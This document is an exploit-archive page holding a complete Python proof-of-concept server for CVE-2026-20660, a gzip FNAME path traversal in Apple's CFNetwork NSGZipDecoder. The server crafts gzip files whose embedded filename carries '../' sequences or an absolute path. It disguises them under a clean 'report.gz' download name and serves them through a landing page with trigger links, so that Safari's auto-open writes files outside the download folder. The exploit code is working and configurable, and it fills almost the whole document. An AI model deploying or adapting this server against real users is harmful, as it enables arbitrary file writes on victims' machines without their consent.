5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / server.py PY
#!/usr/bin/env python3
"""
CVE-2026-20660 PoC - CFNetwork NSGZipDecoder Path Traversal

Root cause (patch diff):
  -[NSGZipDecoder filenameWithOriginalFilename:] previously returned
  gzip FNAME as-is; patched version applies lastPathComponent.

Vector:
  Path traversal is in the gzip FNAME header (RFC 1952), not in
  Content-Disposition filename.
"""

import argparse
import http.server
import struct
import sys
import time
import urllib.parse
from datetime import datetime


PROOF_TEXT = """\
CVE-2026-20660 - Proof of Arbitrary File Write
===============================================
This file was written via gzip FNAME path traversal.

Timestamp: {timestamp}
FNAME payload: {fname}
"""


def make_gzip_with_fname(content: bytes, fname: str) -> bytes:
    """Build a valid gzip stream with custom FNAME."""
    import zlib

    header = bytearray()
    header += b"\x1f\x8b"  # ID1/ID2
    header += b"\x08"      # CM=deflate
    header += b"\x08"      # FLG: FNAME present
    header += struct.pack("<I", int(time.time()))  # MTIME
    header += b"\x00"      # XFL
    header += b"\xff"      # OS

    header += fname.encode("latin-1") + b"\x00"

    compress = zlib.compressobj(9, zlib.DEFLATED, -zlib.MAX_WBITS)
    deflated = compress.compress(content) + compress.flush()

    crc = zlib.crc32(content) & 0xFFFFFFFF
    isize = len(content) & 0xFFFFFFFF
    trailer = struct.pack("<II", crc, isize)

    return bytes(header) + deflated + trailer


LANDING_PAGE = """\
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-20660 PoC</title>
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <style>
        body {
            font-family: -apple-system, BlinkMacSystemFont, sans-serif;
            max-width: 700px;
            margin: 40px auto;
            padding: 20px;
            background: #0d1117;
            color: #c9d1d9;
        }
        h1 { color: #f85149; }
        a { color: #58a6ff; }
        .btn {
            display: inline-block;
            padding: 10px 18px;
            margin: 8px 8px 8px 0;
            background: #1f6feb;
            color: #fff;
            text-decoration: none;
            border-radius: 6px;
        }
        .box {
            background: #161b22;
            border: 1px solid #30363d;
            padding: 14px;
            border-radius: 8px;
            margin: 14px 0;
            font-family: Menlo, monospace;
            font-size: 13px;
            white-space: pre-wrap;
        }
    </style>
</head>
<body>
    <h1>CVE-2026-20660</h1>
    <p>CFNetwork NSGZipDecoder FNAME path traversal PoC</p>

    <div class="box">Clean HTTP filename: report.gz
Malicious gzip FNAME: ../../cve-2026-20660-proof.txt

Safari auto-opens .gz (if enabled):
- vulnerable: uses FNAME directly
- patched: lastPathComponent strips traversal</div>

    <a class="btn" href="/download?depth=2">Trigger depth=2</a>
    <a class="btn" href="/download?depth=5">Trigger depth=5</a>
    <a class="btn" href="/download?depth=0&fname=/tmp/proof.txt">Write /tmp/proof.txt</a>
</body>
</html>
"""


class ExploitHandler(http.server.BaseHTTPRequestHandler):
    traversal_depth = 2
    target_name = "cve-2026-20660-proof.txt"

    def do_GET(self):
        parsed = urllib.parse.urlparse(self.path)
        query = urllib.parse.parse_qs(parsed.query)
        if parsed.path == "/":
            self._serve_landing()
            return
        if parsed.path == "/download":
            depth = int(query.get("depth", [str(self.traversal_depth)])[0])
            custom_fname = query.get("fname", [None])[0]
            self._serve_exploit(depth, custom_fname)
            return
        self.send_error(404)

    def _serve_landing(self):
        page = LANDING_PAGE.encode("utf-8")
        self.send_response(200)
        self.send_header("Content-Type", "text/html; charset=utf-8")
        self.send_header("Content-Length", str(len(page)))
        self.end_headers()
        self.wfile.write(page)

    def _serve_exploit(self, depth: int, custom_fname: str | None = None):
        ts = datetime.now().isoformat()
        fname = custom_fname if custom_fname else "../" * depth + self.target_name

        text = PROOF_TEXT.format(timestamp=ts, fname=fname)
        gz_data = make_gzip_with_fname(text.encode("utf-8"), fname)
        clean_name = "report.gz"

        print("\n" + "=" * 60)
        print(f"Exploit triggered @ {ts}")
        print(f"Content-Disposition: {clean_name} (clean)")
        print(f"Gzip FNAME header: {fname} (malicious)")
        print(f"Payload size: {len(gz_data)} bytes")
        print(f"Client: {self.client_address[0]}")
        print("=" * 60)

        self.send_response(200)
        self.send_header("Content-Type", "application/gzip")
        self.send_header("Content-Disposition", f'attachment; filename="{clean_name}"')
        self.send_header("Content-Length", str(len(gz_data)))
        self.send_header("Cache-Control", "no-store")
        self.end_headers()
        self.wfile.write(gz_data)

    def log_message(self, fmt, *args):
        sys.stderr.write(f"[{datetime.now():%H:%M:%S}] {self.client_address[0]} - {fmt % args}\n")


def main():
    parser = argparse.ArgumentParser(description="CVE-2026-20660 PoC server")
    parser.add_argument("--port", "-p", type=int, default=8888)
    parser.add_argument("--bind", "-b", default="0.0.0.0")
    parser.add_argument("--depth", "-d", type=int, default=2, help="Traversal depth (../ count)")
    parser.add_argument("--name", "-n", default="cve-2026-20660-proof.txt", help="Target filename")
    args = parser.parse_args()

    ExploitHandler.traversal_depth = args.depth
    ExploitHandler.target_name = args.name

    server = http.server.HTTPServer((args.bind, args.port), ExploitHandler)

    print("\nCVE-2026-20660 PoC Server")
    print(f"URL: http://{args.bind}:{args.port}/")
    print(f"Default depth: {args.depth}")
    print(f"Target name: {args.name}")
    print("Requires Safari: Open safe files after downloading = enabled\n")

    try:
        server.serve_forever()
    except KeyboardInterrupt:
        print("\nStopped.")
        server.server_close()


if __name__ == "__main__":
    main()